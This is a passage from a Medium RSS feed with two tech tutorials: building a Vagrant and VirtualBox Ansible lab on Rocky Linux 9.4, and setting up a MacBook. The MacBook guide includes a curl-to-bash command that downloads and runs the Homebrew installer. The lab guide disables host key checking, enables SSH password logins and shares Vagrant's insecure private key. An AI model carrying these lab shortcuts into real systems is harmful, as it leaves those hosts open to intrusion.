Installation:</h4><ol><li><strong>Add the HashiCorp Repository:</strong></li><li>HashiCorp, the makers of Vagrant, provide an official repository for RHEL-compatible distributions (such as Rocky Linux). To ensure you’re using the latest version, add the repository:</li></ol><ul><li>sudo dnf install -y dnf-plugins-core</li><li>sudo dnf config-manager --add-repo <a href="https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo">https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo</a></li></ul><ol><li><strong>Install Vagrant:</strong></li><li>Now, install Vagrant from the newly added repository:</li></ol><ul><li>sudo dnf install -y vagrant</li></ul><ol><li><strong>Verify the Installation:</strong></li><li>Check that Vagrant has been installed correctly by running:</li></ol><ul><li>vagrant --version</li></ul><ol><li>This should display the installed Vagrant version (ensure it’s the latest available version).</li><li><strong>Ensure Vagrant Is in Your PATH:</strong></li><li>In case Vagrant is not in your PATH (i.e., running vagrant returns a &quot;command not found&quot; error), add Vagrant’s binary path to your environment. Edit your .bashrc or .bash_profile to include:</li></ol><ul><li>export PATH=$PATH:/usr/local/bin/vagrant</li></ul><ol><li>Then reload the shell configuration:</li></ol><ul><li>source ~/.bashrc</li></ul><h4>2.3 Creating the Project Directory</h4><p>After installing <strong>VirtualBox</strong> and <strong>Vagrant</strong>, you need to create a working directory for your virtual environment setup.</p><h4>Steps to Set Up Your Project:</h4><ol><li><strong>Create a Directory for the Project:</strong></li><li>This directory will contain your Vagrantfile and any related configuration files.</li></ol><ul><li>mkdir ~/ansible-rocky-linux</li><li>cd ~/ansible-rocky-linux</li></ul><ol><li><strong>Initialize the Vagrant Environment:</strong></li><li>Use Vagrant’s init command to create a Vagrantfile in this directory, which will define your virtual machines:</li></ol><ul><li>vagrant init</li></ul><ol><li><strong>Edit the Vagrantfile:</strong></li><li>In the next steps, you’ll configure this Vagrantfile to define the Ansible control node and managed nodes (covered later in the guide)</li></ol><h3>3. Creating the Vagrantfile</h3><p>The Vagrantfile defines the configuration of the virtual machines that Vagrant will manage.</p><h3>3.1 Defining Virtual Machines</h3><p>Create a Vagrantfile in your project directory:</p><pre>vagrant init</pre><p>Now, edit the Vagrantfile:</p><pre>vi Vagrantfile</pre><p>Replace the contents with the following configuration:</p><pre># Vagrantfile for Rocky Linux 9.4 Environment<br>VAGRANTFILE_API_VERSION = &quot;2&quot;<br><br>Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|<br>  # Use same SSH key for each machine<br>  config.ssh.insert_key = false<br>  config.vm.box_check_update = false<br><br>  # Define base box<br>  BOX_NAME = &quot;generic/rocky9&quot;<br><br>  # Repo Machine<br>  config.vm.define &quot;repo&quot; do |repo|<br>    repo.vm.box = BOX_NAME<br>    repo.vm.hostname = &quot;repo.ansi.example.com&quot;<br>    repo.vm.network &quot;private_network&quot;, ip: &quot;192.168.56.199&quot;<br>    repo.vm.provider &quot;virtualbox&quot; do |vb|<br>      vb.memory = &quot;1024&quot;<br>    end<br>    repo.vm.provision &quot;shell&quot;, inline: &lt;&lt;-SHELL<br>      sudo dnf install -y epel-release<br>      sudo dnf install -y sshpass python3-pip python3-devel httpd vsftpd createrepo<br>      python3 -m pip install --upgrade pip<br>      python3 -m pip install pexpect ansible<br>    SHELL<br>  end<br><br>  # Define a method to configure nodes<br>  def configure_node(config, name, ip, memory)<br>    config.vm.define name do |node|<br>      node.vm.box = BOX_NAME<br>      node.vm.hostname = &quot;#{name}.ansi.example.com&quot;<br>      node.vm.network &quot;private_network&quot;, ip: ip<br>      node.vm.provider &quot;virtualbox&quot; do |vb|<br>        vb.memory = memory<br>      end<br>      node.vm.provision &quot;shell&quot;, inline: &lt;&lt;-SHELL<br>        echo &#39;Provisioning #{name}&#39;<br>        # Additional provisioning steps can go here<br>      SHELL<br>    end<br>  end<br><br>  # Configure nodes<br>  configure_node(config, &quot;control&quot;, &quot;192.168.56.200&quot;, &quot;2048&quot;)<br>  configure_node(config, &quot;node1&quot;, &quot;192.168.56.201&quot;, &quot;1024&quot;)<br>  configure_node(config, &quot;node2&quot;, &quot;192.168.56.202&quot;, &quot;1024&quot;)<br>  configure_node(config, &quot;node3&quot;, &quot;192.168.56.203&quot;, &quot;512&quot;)<br>  configure_node(config, &quot;node4&quot;, &quot;192.168.56.204&quot;, &quot;512&quot;)<br>end</pre><h3>3.2 Understanding the Vagrantfile</h3><ul><li><strong>Base Box</strong>: We’re using the generic/rocky9 Vagrant box, which is a minimal Rocky Linux 9.4 image.</li><li><strong>Machines</strong>:</li><li><strong>control</strong>: Ansible control node .</li><li><strong>node1,node2,node3,node4</strong>: Managed nodes .</li><li><strong>repo</strong>: A repository server, if needed for future use.</li><li><strong>Networking</strong>: Each machine is assigned a static private IP in the 192.168.56.0/24 network.</li><li><strong>Provisioning</strong>: Installs EPEL repository and Python 3, which is required for Ansible.</li></ul><h3>4. Provisioning the Virtual Machines</h3><p>After installing <strong>VirtualBox</strong> and <strong>Vagrant</strong>, you’re ready to provision and launch the virtual machines that make up your Ansible lab. This section will guide you through starting the VMs and troubleshooting common issues.</p><h3>4.1 Starting the Virtual Machines</h3><p>To start all the virtual machines defined in your Vagrantfile, follow these steps:</p><p><strong>Navigate to Your Project Directory:</strong></p><ul><li>This is where you have your Vagrantfile:</li><li>cd ~/ansible-rocky-linux</li></ul><p><strong>Start All Virtual Machines:</strong></p><ul><li>Run the following command to bring up the entire virtual environment:</li><li>vagrant up</li><li><strong>Explanation:</strong></li><li>Vagrant will check if the Rocky Linux 9.4 box is already downloaded.</li><li>If the box is not present, Vagrant will automatically download it from the internet.</li><li>Vagrant will then start each VM as defined in the Vagrantfile.</li></ul><p><strong>SSH Into the Control Node:</strong></p><ul><li>Once the VMs are up, you can access the <strong>Ansible Control Node</strong> with the following command:</li><li>vagrant ssh control</li><li>This command will log you into the <strong>control</strong> node (defined as the Ansible control machine in the Vagrantfile).</li></ul><p><strong>(Optional) Reset the Password for the </strong><strong>vagrant User:</strong></p><ul><li>If you need to reset the password for the <strong>vagrant</strong> user on any of the virtual machines (e.g., for testing or security purposes), follow these steps:</li><li>vagrant ssh control</li><li>sudo passwd vagrant</li><li>Enter the new password when prompted.</li></ul><p><strong>Enable Password Authentication for SSH:</strong></p><ul><li>By default, Vagrant uses SSH key-based authentication, but if you prefer password-based authentication, you’ll need to enable it in the SSH configuration.</li></ul><p><strong>Edit the SSH Config File:</strong></p><ul><li>Open the <strong>/etc/ssh/sshd_config</strong> file in a text editor:</li><li>sudo vi /etc/ssh/sshd_config</li></ul><p><strong>Modify the Configuration:</strong></p><ul><li>Find the line that reads PasswordAuthentication and change its value to yes:</li><li>PasswordAuthentication yes</li></ul><p><strong>Save and Exit:</strong></p><ul><li>Press Esc and type :wq! to save and exit the file.</li></ul><p><strong>Restart the SSH Service:</strong></p><ul><li>Apply the changes by restarting the SSH service:</li><li>sudo systemctl restart sshd</li></ul><h3>4.2 Troubleshooting Common Issues</h3><p>Even with the best setup, issues may arise when using Vagrant and VirtualBox. Here are common problems and how to address them.</p><h4>1. VirtualBox Kernel Modules Not Loaded</h4><p>If you encounter errors related to VirtualBox kernel modules, such as the infamous <strong>kernel driver not installed</strong> error, it usually means that the kernel modules required for VirtualBox aren’t loaded correctly.</p><p><strong>Fix the Issue:</strong></p><ul><li>Ensure that your <strong>kernel headers</strong> and <strong>VirtualBox</strong> versions match. Rebuild the VirtualBox kernel modules by running:</li><li>sudo /sbin/vboxconfig</li><li>If this fails, reinstall VirtualBox and ensure all dependencies are correctly installed.</li></ul><h4>2. IP Address Conflicts</h4><p>If you’re seeing conflicts due to duplicate IP addresses being used in your network, you can adjust the IPs in the Vagrantfile to avoid overlap.</p><p><strong>How to Change IP Addresses:</strong></p><ul><li>If there’s a conflict, you can edit the Vagrantfile to use a different range of IPs. For example, if the IP range <strong>192.168.56.0/24</strong> is already in use, you can change the IP addresses for your VMs:</li><li># Example IP adjustment in Vagrantfile config.vm.network &quot;private_network&quot;, ip: &quot;192.168.57.199&quot; # Adjust this IP</li><li>Update the IPs for the <strong>repo</strong>, <strong>control</strong>, and <strong>managed nodes</strong> (node1, node2, etc.) in your Vagrantfile.</li></ul><h4>3. Provider Not Found</h4><p>If Vagrant can’t find <strong>VirtualBox</strong> or if it’s defaulting to another provider like <strong>libvirt</strong>, you can explicitly specify <strong>VirtualBox</strong> as the provider when bringing up the VMs.</p><p><strong>Fix:</strong></p><ul><li>Force Vagrant to use VirtualBox as the provider with the following command:</li><li>vagrant up --provider=virtualbox</li></ul><h4>4. Host-Only Network IP Address Error</h4><p>If you encounter the following error:</p><pre>The IP address configured for the host-only network is not <br>within the allowed ranges. <br>Please update the address used to be within the allowed ranges and <br>run the command again.<br><br>Address: 192.168.56.199<br>Ranges: 192.168.57.0/21</pre><p>This means that the IP address you’re trying to use is outside the range allowed by VirtualBox’s host-only network configuration.</p><p><strong>How to Fix the Issue:</strong></p><ul><li>Modify the IP addresses in the <strong>Vagrantfile</strong> to fall within the allowed range (e.g., 192.168.57.x). Here&#39;s an example of how you can update the IP addresses:</li><li>Original problematic IP range: 192.168.56.x</li><li>New valid range: 192.168.57.x</li><li>In your Vagrantfile, change the IP addresses for the VMs from 192.168.56.x to 192.168.57.x:</li><li>config.vm.network &quot;private_network&quot;, ip: &quot;192.168.57.199&quot; config.vm.network &quot;private_network&quot;, ip: &quot;192.168.57.200&quot; config.vm.network &quot;private_network&quot;, ip: &quot;192.168.57.201&quot; # Continue for other nodes</li><li>Once you’ve made the changes, rerun the vagrant up command:</li><li>vagrant up</li></ul><h4>4.3 Summary</h4><ul><li><strong>Starting the VMs:</strong> Use vagrant up to spin up your entire virtual environment, including the control and managed nodes.</li><li><strong>Password Authentication:</strong> If needed, modify the SSH configuration to enable password authentication on the control node.</li><li><strong>Common Issues:</strong> Kernel modules, IP conflicts, and VirtualBox provider detection are common issues that can be easily resolved using the steps outlined above.</li></ul><p>By following these steps, you should be able to bring up your Ansible environment without issues, ensuring that you have a fully functional virtual lab running <strong>Rocky Linux 9.4</strong>.</p><h3>5. Configuring the Ansible Control Node</h3><p>Once you’ve provisioned the VMs, the next step is configuring the <strong>Ansible Control Node</strong>, where Ansible will be installed and from where it will communicate with the managed nodes. The steps below will guide you through installing Ansible and configuring secure SSH access between the control node and the managed nodes.</p><h3>5.1 Installing Ansible on the Control Node</h3><p>First, we need to install Ansible on the <strong>Control Node</strong>, which is the central machine that will run Ansible commands and manage your environment.</p><h4>Steps:</h4><ol><li><strong>SSH into the Control Node</strong>:</li><li>Using Vagrant, SSH into the <strong>Control Node</strong> from your host machine:</li></ol><ul><li>vagrant ssh control</li></ul><ol><li><strong>Install the EPEL Repository</strong>:</li><li>The Extra Packages for Enterprise Linux (EPEL) repository is required to install Ansible on Rocky Linux. Run the following command to add EPEL to your system:</li></ol><ul><li>sudo dnf install -y epel-release</li></ul><ol><li><strong>Install Ansible</strong>:</li><li>After adding the EPEL repository, install Ansible by running:</li></ol><ul><li>sudo dnf install -y ansible</li></ul><ol><li><strong>Verify the Installation</strong>:</li><li>Once installed, verify that Ansible is properly installed and the version is correct:</li></ol><ul><li>ansible --version</li></ul><ol><li><strong>Expected Output</strong>:</li></ol><ul><li>You should see the installed Ansible version, the Python version, and the configuration file paths.</li><li>Example output:</li></ul><pre>ansible 2.10.8<br>  config file = /etc/ansible/ansible.cfg<br>  configured module search path = [&#39;/usr/share/ansible/plugins/modules&#39;]<br>  python version = 3.8.8 (default, May 3 2021, 08:56:16) [GCC 8.3.1 20191121 (Red Hat 8.3.1-5)]</pre><ol><li><strong>Check Ansible Configuration</strong>:</li></ol><ul><li>Ensure the default configuration works for your environment, or adjust the settings in /etc/ansible/ansible.cfg if needed.</li><li>The default configuration should suffice for most basic setups, but for more advanced scenarios, you may need to tweak options like inventory and remote_user.</li></ul><h3>5.2 Configuring SSH Access From Host Machine to Control Node</h3><p>To automate tasks across your managed nodes, Ansible uses SSH. We need to configure the Control Node so that it can securely communicate with the managed nodes using SSH key-based authentication.</p><p>Vagrant provides an <strong>insecure private key</strong> for the vagrant user, which we will use to set up SSH access from the <strong>Control Node</strong> to the managed nodes. Follow the steps below to securely copy and configure the SSH key on the Control Node.</p><h4>Steps:</h4><h4>5.2.1 Copy the Vagrant Insecure Private Key (Executed on Host Machine)</h4><p>On your host machine, the Vagrant insecure private key is located at ~/.vagrant.d/insecure_private_key. We&#39;ll need to copy this key to the Control Node to establish SSH key-based authentication.</p><h4>Step 1: Install the vagrant-scp Plugin (on the Host Machine)</h4><p>The vagrant-scp plugin allows you to securely copy files between your host machine and the virtual machines.</p><ul><li>To install the plugin, run:</li><li>vagrant plugin install vagrant-scp</li><li><strong>Explanation</strong>: This plugin is essential for copying files (like SSH keys) between your local machine and the Vagrant-managed virtual machines.</li></ul><h4>Step 2: Copy the Insecure Private Key to the Control Node</h4><p>Use the vagrant scp command to securely copy the Vagrant insecure private key to the Control Node.</p><ul><li>On your host machine, execute the following command:</li></ul><pre>vagrant scp ~/.vagrant.d/insecure_private_key control:/home/vagrant/.ssh/id_rsa_vagrant</pre><ul><li><strong>Explanation</strong>: This command copies the private key located in your host’s ~/.vagrant.d/ directory to the Control Node’s .ssh directory.</li></ul><h4>Step 3: Set Correct Permissions on the Control Node</h4><p>After copying the key, log into the Control Node and set the appropriate permissions for the SSH private key.</p><ul><li><strong>SSH into the Control Node</strong>:</li><li>vagrant ssh control</li></ul><p><strong>Set the Correct File Permissions</strong>:</p><ul><li>Run the following command to ensure the SSH private key is only accessible by the owner (vagrant user):</li><li>chmod 600 /home/vagrant/.ssh/id_rsa_vagrant</li><li><strong>Explanation</strong>: This sets strict file permissions (read/write only by the owner), which is required for SSH to function securely.</li></ul><h4>Step 4: Test SSH Access Between the Control Node and Managed Nodes</h4><p>After copying the key and setting the correct permissions, ensure that the <strong>Control Node</strong> can SSH into the managed nodes without requiring a password.</p><ul><li>On the Control Node, try SSH’ing into one of the managed nodes:</li><li>ssh -i /home/vagrant/.ssh/id_rsa_vagrant vagrant@192.168.56.201</li><li><strong>Expected Outcome</strong>: You should be able to log in to node1 (or any other managed node) without a password prompt.</li><li><strong>If Successful</strong>: The SSH key is correctly configured, and the Control Node can communicate with the managed nodes.</li><li><strong>If Unsuccessful</strong>: Double-check the file paths and permissions, and ensure the Vagrant environment is running properly.</li></ul><h3>5.3 Setting Up the Ansible Inventory</h3><p>Create an inventory file that defines the managed nodes.</p><ol><li><strong>Create the Inventory Directory</strong>:</li></ol><ul><li>mkdir -p ~/ansible cd ~/ansible</li></ul><ol><li><strong>Create the Inventory File</strong>:</li></ol><ul><li>vi inventory</li></ul><ol><li><strong>Add the Following Content</strong>:</li></ol><pre>[nodes]<br>node1.ansi.example.com ansible_host=192.168.56.201 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node2.ansi.example.com ansible_host=192.168.56.202 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node3.ansi.example.com ansible_host=192.168.56.203 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node4.ansi.example.com ansible_host=192.168.56.204 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br><br>[webservers]<br>node1.ansi.example.com ansible_host=192.168.56.201 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node2.ansi.example.com ansible_host=192.168.56.202 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node3.ansi.example.com ansible_host=192.168.56.203 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br>node4.ansi.example.com ansible_host=192.168.56.204 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br><br><br>[repo]<br>repo.ansi.example.com ansible_host=192.168.56.199 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant<br><br>[control]<br>control.ansi.example.com ansible_host=192.168.56.200 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant</pre><h3>5.4 Configuring Ansible Settings</h3><p>Create an ansible.cfg file to define Ansible&#39;s behavior.</p><p><strong>Create the Configuration File</strong>:</p><ul><li>vi ansible.cfg</li></ul><p><strong>Add the Following Content</strong>:</p><pre>[defaults]<br>inventory = /home/vagrant/ansible/inventory<br>host_key_checking = False<br>deprecation_warnings = False<br>stdout_callback = yaml<br>remote_user = vagrant<br>private_key_file = /home/vagrant/.ssh/id_rsa_vagrant<br>retry_files_enabled = False<br><br>[ssh_connection]<br>ssh_args = -o ControlMaster=auto -o ControlPersist=60s<br>pipelining = True<br><br>[privilege_escalation]<br>become = True<br>become_method = sudo<br>become_user = root<br>become_ask_pass = False</pre><ol><li><strong>Explanation</strong>:</li></ol><ul><li><strong>[defaults]</strong>:</li><li><strong>inventory</strong>: Specifies the path to the inventory file.</li><li><strong>host_key_checking</strong>: Disables SSH host key checking.</li><li><strong>remote_user</strong>: Default SSH user.</li><li><strong>private_key_file</strong>: Path to the SSH private key.</li><li><strong>[ssh_connection]</strong>:</li><li><strong>pipelining</strong>: Improves performance by reducing the number of SSH operations.</li><li><strong>[privilege_escalation]</strong>:</li><li>Configures Ansible to use sudo for privilege escalation.</li></ul><h3>7. Testing Ansible Connectivity</h3><p>On the control node, test connectivity to all managed nodes.</p><pre>ansible all -m ping</pre><p><strong>Expected Output</strong>:</p><pre><br>node1.ansi.example.com | SUCCESS =&gt; {<br>    &quot;changed&quot;: false,<br>    &quot;ping&quot;: &quot;pong&quot;<br>}<br>node2.ansi.example.com | SUCCESS =&gt; {<br>    &quot;changed&quot;: false,<br>    &quot;ping&quot;: &quot;pong&quot;<br>}<br>repo.ansi.example.com | SUCCESS =&gt; {<br>    &quot;changed&quot;: false,<br>    &quot;ping&quot;: &quot;pong&quot;<br>}<br>control.ansi.example.com | SUCCESS =&gt; {<br>    &quot;changed&quot;: false,<br>    &quot;ping&quot;: &quot;pong&quot;<br>}</pre><p>If any nodes are unreachable, revisit the SSH configuration steps.</p><h3>8. Writing and Executing Ansible Playbooks</h3><p>Ansible playbooks are YAML files that define a series of tasks to automate.</p><h3>8.1 Creating a Playbook to Install Apache</h3><p><strong>Create the Playbook File</strong>:</p><pre>vi ~/ansible/setup_webservers.yml</pre><p><strong>Add the Following Content</strong>:</p><pre>---<br>- name: Setup Apache on all webservers<br>  hosts: webservers<br>  become: yes<br>  tasks:<br>    - name: Install Apache<br>      yum:<br>        name: httpd<br>        state: present<br><br>    - name: Start and Enable Apache<br>      service:<br>        name: httpd<br>        state: started<br>        enabled: yes<br><br>    - name: Create a Simple HTML Page<br>      copy:<br>        content: &quot;&lt;html&gt;&lt;body&gt;&lt;h1&gt;Apache is successfully installed!&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&quot;<br>        dest: /var/www/html/index.html<br>        owner: apache<br>        group: apache<br>        mode: &#39;0644&#39;<br><br>    - name: Ensure Firewall Allows HTTP Traffic<br>      firewalld:<br>        service: http<br>        permanent: yes<br>        state: enabled<br><br>    - name: Reload Firewall to Apply Changes<br>      command: firewall-cmd --reload<br>      # HOlding off<br>      #when: ansible_facts[&#39;os_family&#39;] == &#39;RedHat&#39;</pre><h3>8.2 Understanding the Playbook Tasks</h3><p><strong>Install Apache</strong>:</p><ul><li>Uses the yum module to ensure httpd is installed.</li></ul><p><strong>Start and Enable Apache</strong>:</p><ul><li>Uses the service module to start Apache and enable it at boot.</li></ul><p><strong>Create a Simple HTML Page</strong>:</p><ul><li>Deploys a basic index.html to the web server&#39;s root directory.</li></ul><p><strong>Ensure Firewall Allows HTTP Traffic</strong>:</p><ul><li>Uses the firewalld module to allow HTTP service through the firewall.</li></ul><p><strong>Reload Firewall</strong>:</p><ul><li>Reloads the firewall to apply changes,</li></ul><h3>8.3 Running the Playbook</h3><p>Execute the playbook:</p><pre><br>ansible-playbook ~/ansible/setup_webservers.yml</pre><p><strong>Expected Output</strong>:</p><p>Ansible will display the status of each task for every host. Tasks that change the system state will be marked as changed.</p><h3>9. Verifying the Deployment</h3><h4>9.1 Checking Apache Service Status</h4><p>SSH into one of the web servers:</p><pre>vagrant ssh node1<br><br>sudo systemctl status httpd</pre><p>The service should be active (running).</p><h4>9.2 Accessing the Web Server</h4><p>Since the VMs are on a private network, you can access the web server from your host machine by port forwarding or setting up bridged networking.</p><h4>Option 1: Port Forwarding</h4><p><strong>Modify the </strong><strong>Vagrantfile</strong>:</p><ul><li>Add the following within the node’s configuration:</li></ul><pre>node.vm.network &quot;forwarded_port&quot;, guest: 80, host: 8081, auto_correct: true</pre><p><strong>Reload the VM</strong>:</p><pre>vagrant reload node1</pre><p><strong>Access the Web Page</strong>:</p><ul><li>Open a browser and navigate to http://localhost:8081. You should see the message:</li></ul><pre>Apache is successfully installed!</pre><h3>10. Best Practices</h3><p><strong>Use Ansible Roles</strong>:</p><ul><li>Organize your playbooks into roles for better structure and reusability.</li></ul><p><strong>Secure Sensitive Data</strong>:</p><ul><li>Use Ansible Vault to encrypt passwords and sensitive information.</li></ul><p><strong>Version Control</strong>:</p><ul><li>Keep your playbooks in a Git repository to track changes and collaborate.</li></ul><p><strong>Testing</strong>:</p><ul><li>Test your playbooks in a staging environment before deploying to production.</li></ul><p><strong>Documentation</strong>:</p><ul><li>Comment your playbooks and maintain external documentation.</li></ul><h3>11. Conclusion</h3><p>Congratulations! You’ve set up a complete Ansible environment using Rocky Linux 9.4. You’ve learned how to:</p><ul><li>Create a virtual lab environment with Vagrant and VirtualBox.</li><li>Configure an Ansible control node and managed nodes.</li><li>Write and execute Ansible playbooks.</li><li>Automate the deployment of services like Apache HTTP Server.</li></ul><p>With this foundation, you’re well on your way to mastering Ansible for automating complex infrastructure tasks.</p><h3>12. Additional Resources</h3><ul><li><strong>Ansible Documentation</strong>: Ansible User Guide</li><li><strong>Rocky Linux Official Site</strong>: <a href="https://rockylinux.org/">rockylinux.org</a></li><li><strong>Vagrant Documentation</strong>: Vagrant Docs</li><li><strong>VirtualBox Documentation</strong>: VirtualBox Docs</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93725ba29b72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Initial Setup Guide for Your MacBook]]></title>
            <link>https://medium.com/@kjavaman12/initial-setup-guide-for-your-macbook-fc92510039b4?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc92510039b4</guid>
            <category><![CDATA[mac]]></category>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[it-support]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Sat, 14 Sep 2024 11:51:33 GMT</pubDate>
            <atom:updated>2024-09-16T02:25:45.141Z</atom:updated>
            <content:encoded><![CDATA[<h3>Initial Setup Guide for MacBook</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LKWaIoRNp-nW3HzS" /></figure><h3>Battery Efficiency Check</h3><p>To check the battery status, hold the <strong>Option</strong> key and click the Apple logo in the top-left corner. Then, navigate to System Information -&gt; Power where you&#39;ll find details like:</p><ul><li><strong>Cycle Count</strong>: Number of full charge cycles.</li><li><strong>Condition</strong>: Battery health (should say “Normal” if in good condition).</li><li><strong>Maximum Capacity</strong>: Current battery capacity compared to when the MacBook was new.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__u9M3-Uu3VXawxaOARP7A.png" /><figcaption>In myscreenshot:</figcaption></figure><ul><li><strong>Cycle Count</strong>: 193</li><li><strong>Condition</strong>: Normal</li><li><strong>Maximum Capacity</strong>: 88% (good state of health, still functioning well).</li></ul><h3>Changing Scroll Direction (Trackpad Settings)</h3><p>Windows users are used to the opposite scroll direction of macOS. To change this:</p><ol><li>Click the <strong>Apple Menu</strong> → <strong>System Settings</strong>.</li><li>Select <strong>Trackpad</strong> → <strong>Scroll &amp; Zoom</strong>.</li><li>Toggle the <strong>Natural scrolling</strong> setting off to reverse the scrolling direction (like on Windows).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HErXjuLtY-eBR7Qw12xYg.png" /></figure><h3>Modifier Key Customization (Make macOS More Like Windows)</h3><p>If you’re a Windows user and want the <strong>Control</strong> and <strong>Command</strong> keys swapped:</p><ol><li>Go to <strong>Keyboard</strong> in the <strong>System Settings</strong>.</li><li>Click <strong>Modifier Keys</strong>.</li><li>Swap the <strong>Control (⌃)</strong> key with the <strong>Command (⌘)</strong> key so the layout feels more familiar to Windows.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAf5acvQb8d1pzwXUUbhtg.png" /></figure><h3>Keyboard Shortcuts for Screenshots</h3><p>macOS offers flexible options for capturing screenshots:</p><ol><li>Go to <strong>System Settings</strong> → <strong>Keyboard</strong> → <strong>Shortcuts</strong> → <strong>Screenshots</strong>.</li><li>You can customize the shortcuts here. For example:</li></ol><ul><li><strong>Control + Command + Shift + 3</strong>: Full-screen screenshot.</li><li><strong>Control + Command + Shift + 4</strong>: Selected area screenshot.</li><li>To <strong>Save screenshot to file</strong>, use <strong>Command + Shift + 4</strong>, then press space for window screenshots or drag for area screenshots.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KuzcxeyWbpUX0Cy4L0K-ew.png" /></figure><p>Options + tab -&gt; command + tab (Show Launchpad)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jP-NhxEzEVZp2olzlsWx6Q.png" /></figure><h3>Removing Periods When Double Pressing Spacebar</h3><p>Sometimes macOS inserts a period when you double-tap the spacebar:</p><ol><li>Go to <strong>System Settings</strong> → <strong>Keyboard -&gt; Input Sources -&gt; Edit</strong>.</li><li>Disable <strong>Add period with double space</strong>.</li></ol><p><a href="https://piunada.com/%EB%A7%A5%EB%B6%81-%EB%A7%88%EC%B9%A8%ED%91%9C-%EC%98%A4%ED%83%80-%ED%98%84%EC%83%81-%EB%A7%A5%EB%B6%81-%EB%8B%A8%EC%B6%95%ED%82%A4/">맥북 마침표 오타 현상과 맥북 유용한 단축키 | 몰리의 블로그</a></p><h3>Dock Customization (Similar to Windows Taskbar)</h3><p>To make the macOS Dock behave like the Windows taskbar:</p><ol><li>Go to <strong>System Settings</strong> → <strong>Dock &amp; Menu Bar</strong>.</li><li>Enable <strong>Automatically hide and show the Dock</strong> to keep it hidden unless you move the mouse to the bottom of the screen.</li><li>You can also set the <strong>Position on screen</strong> to the <strong>bottom</strong> for a more Windows-like experience.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*aAWgLkiaXCtRIxfjh8NXoA.png" /></figure><h3>Downloading Homebrew (macOS Package Manager)</h3><ol><li>Open <strong>Terminal</strong> and run:</li></ol><pre>/bin/bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&quot;</pre><ol><li>After installation, configure it by running:</li></ol><pre>PATH=$PATH:/opt/homebrew/bin export PATH</pre><ol><li>Update and upgrade:</li></ol><pre>brew update brew upgrade</pre><h3>Installing iTerm2 (Better Terminal Experience)</h3><p>You can install <strong>iTerm2</strong>, a popular terminal app, using Homebrew:</p><pre>brew install --cask iterm2</pre><p>(<a href="https://www.youtube.com/watch?v=IWJKRmFLn-g&amp;ab_channel=EasyOSX">https://www.youtube.com/watch?v=IWJKRmFLn-g&amp;ab_channel=EasyOSX</a>)</p><h3>Setting up Karabiner-Elements (Advanced Keyboard Customization) — Optional</h3><p>If you need more advanced key mapping:</p><ol><li>Download <strong>Karabiner-Elements</strong> from <a href="https://karabiner-elements.pqrs.org/docs/releasenotes/">here</a> . I prefer older version not to face error. so download 14.11.0 version.</li><li>You can assign function keys or re-map keys like <strong>Caps Lock</strong> to act as a different key (e.g., <strong>F18</strong> or custom commands.). To switch smoothly from Korean to English for me</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*1hC-8wy5YSGgKo4Q7-18QA.png" /><figcaption>카라비너</figcaption></figure><p>Keyboard &gt; Hotkeys &gt; Input Source<br>Select the following source from the Input menu: Specify a function key (e.g. F18)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*9iaEtokIaMfH6P6-LaIMaQ.jpeg" /></figure><h3>Installing Spectacle (Window Manager)</h3><p>To manage windows more efficiently (like snapping in Windows):</p><ol><li>Install <strong>Spectacle</strong> via Homebrew:</li></ol><pre>brew install --cask spectacle</pre><ol><li>Configure shortcuts in <strong>Spectacle</strong> to align windows into halves or thirds of the screen.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*uJRWbVSjc0uAuuuuwQyi6A.png" /></figure><h3>Downloading Google Chrome via Homebrew</h3><p>For convenience, you can install <strong>Google Chrome</strong> through Homebrew:</p><pre>brew install --cask google-chrome</pre><p>Later Update…</p><p>Brave Browser<br>Google Chrome Browser<br>Picham<br>IntelliJ<br>vs code (python extension, live server, rainbow bracket..)<br>MySQL<br>MySQL workbench<br>postgresql<br>KakaoTalk<br>gitkraken<br>docker<br>vmware fusion player — download ubuntu linux<br>surfshark<br>Office365<br>OneDrive<br>GoogleDrive</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc92510039b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Office 365 Troubleshooting Guide]]></title>
